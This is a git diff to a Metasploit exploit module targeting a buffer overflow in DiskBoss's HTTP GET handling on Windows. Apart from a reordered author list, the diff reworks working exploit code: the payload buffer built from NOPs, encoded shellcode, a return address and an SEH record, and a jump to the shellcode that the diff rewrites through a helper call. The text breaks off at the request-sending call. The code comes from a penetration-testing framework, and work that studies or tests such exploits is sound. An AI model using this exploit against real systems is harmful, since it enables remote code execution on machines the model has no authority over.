diff --git a/modules/exploits/windows/http/diskboss_get_bof.rb b/modules/exploits/windows/http/diskboss_get_bof.rb index 893ce649eb..f3ce7f317f 100644 --- a/modules/exploits/windows/http/diskboss_get_bof.rb +++ b/modules/exploits/windows/http/diskboss_get_bof.rb @@ -23,8 +23,8 @@ class MetasploitModule < Msf::Exploit::Remote 'Author' => [ 'vportal', # Vulnerability discovery and PoC - 'Gabor Seljan', # Metasploit module 'Ahmad Mahfouz', # Vulnerability discovery and PoC + 'Gabor Seljan', # Metasploit module 'Jacob Robles' # Metasploit module ], 'References' => @@ -127,21 +127,23 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Selected Target: #{mytarget.name}") end - if !(mytarget == targets[3]) + case mytarget + when targets[1], targets[2] sploit = make_nops(21) sploit << payload.encoded sploit << rand_text_alpha(mytarget['Offset'] - payload.encoded.length) sploit << [mytarget.ret].pack('V') sploit << rand_text_alpha(2500) - else + when targets[3] seh = generate_seh_record(mytarget.ret) sploit = payload.encoded sploit << rand_text_alpha(mytarget['Offset'] - payload.encoded.length) sploit[sploit.length, seh.length] = seh sploit << make_nops(10) - sploit << "\xE9\x25\xBF\xFF\xFF" # JMP to ShellCode + sploit << Rex::Arch::X86.jmp(0xffffbf25) # JMP to ShellCode sploit << rand_text_alpha(5000 - sploit.length) - + else + fail_with(Failure::NoTarget, 'No matching target') end send_request_cgi(